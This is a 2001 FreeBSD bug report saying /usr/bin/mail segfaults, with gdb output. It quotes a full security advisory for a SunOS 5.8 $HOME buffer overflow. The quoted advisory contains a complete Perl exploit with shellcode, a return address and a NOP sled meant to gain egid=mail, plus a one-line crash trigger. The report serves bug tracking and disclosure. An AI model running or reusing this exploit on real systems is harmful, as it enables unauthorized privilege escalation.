From rsimmons@wumpus.wlcg.com Wed Jun 6 06:43:33 2001 Return-Path: Received: from wumpus.wlcg.com (wumpus.wlcg.com [209.9.101.248]) by hub.freebsd.org (Postfix) with ESMTP id F222837B403 for ; Wed, 6 Jun 2001 06:43:32 -0700 (PDT) (envelope-from rsimmons@wumpus.wlcg.com) Received: (from rsimmons@localhost) by wumpus.wlcg.com (8.11.3/8.11.3) id f56Derj10576; Wed, 6 Jun 2001 09:40:53 -0400 (EDT) (envelope-from rsimmons) Message-Id: <200106061340.f56Derj10576@wumpus.wlcg.com> Date: Wed, 6 Jun 2001 09:40:53 -0400 (EDT) From: Rob Simmons Reply-To: rsimmons@wumpus.wlcg.com To: FreeBSD-gnats-submit@freebsd.org Cc: Subject: /usr/bin/mail dumps core with a Seg Fault X-Send-Pr-Version: 3.113 X-GNATS-Notify: >Number: 27907 >Category: bin >Synopsis: /usr/bin/mail dumps core with a Seg Fault >Confidential: no >Severity: non-critical >Priority: medium >Responsible: mikeh >State: closed >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jun 06 06:50:01 PDT 2001 >Closed-Date: Tue Jun 12 15:45:01 PDT 2001 >Last-Modified: Tue Jun 12 15:45:30 PDT 2001 >Originator: Rob Simmons >Release: FreeBSD 4.3-STABLE i386 >Organization: >Environment: System: FreeBSD wumpus 4.3-STABLE FreeBSD 4.3-STABLE #0: Fri May 11 09:42:50 EDT 2001 root@wumpus:/usr/obj/usr/src/sys/WUMPUS i386 >Description: I was testing the buffer overflow that was reported to bugtraq on June 4th involving /usr/bin/mail on Solaris and the exploit does not gain root access. It does cause /usr/bin/mail to seg fault and dump core. I have gdb output from the core file: bash-2.05$ gdb /usr/bin/mail mail.core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... (no debugging symbols found)... Core was generated by `mail'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols found)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols found)... done. #0 0x41414141 in ?? () (gdb) quit >How-To-Repeat: Here is the advisory. The "Details" section contains one method for getting mail to dump core. The exploit itself does the same. Georgi Guninski security advisory #46, 2001 $HOME buffer overflow in SunOS 5.8 x86 Systems affected: SunOS 5.8 x86 have not tested on other OSes Risk: Medium Date: 4 June 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail leading to egid=mail. Details: HOME=`perl -e 'print "A"x1100'` ; export HOME mail a CTL-C eip gets smashed with 0x41414141. Exploit: -------------solmail.pl---------------------- #!/usr/bin/perl # /usr/bin/mail exploit by Georgi Guninski use Env qw($HOME); #shell code taken from Pablo Sor's mailx exploit $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"; $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"; $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"; $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"; $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"; $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"; $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"; $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"; $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"; $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78"; $RET = "\xa0\x6f\x04\x08" ; #may need to change this $OVER=1032; $ALL=1200; $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell; system("/bin/ln -s /bin/ksh /tmp/xx"); print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress CTL-C\n"; $ENV{HOME}=$buf; exec "/usr/bin/mail","A"; --------------------------------------------- Workaround: chmod -s /usr/bin/mail Vendor status: Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches. >Fix: Unknown >Release-Note: >Audit-Trail: Responsible-Changed-From-To: freebsd-bugs->mikeh Responsible-Changed-By: dd Responsible-Changed-When: Thu Jun 7 20:18:05 PDT 2001 Responsible-Changed-Why: This is fixed in -current, and I think Mike did it (since he's the only one who's touched main(1) recently). Mike, how about MFC'ing some of your fixes? http://www.FreeBSD.org/cgi/query-pr.cgi?pr=27907 State-Changed-From-To: open->closed State-Changed-By: mikeh State-Changed-When: Tue Jun 12 15:45:01 PDT 2001 State-Changed-Why: Fix has been MFCed. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=27907 >Unformatted: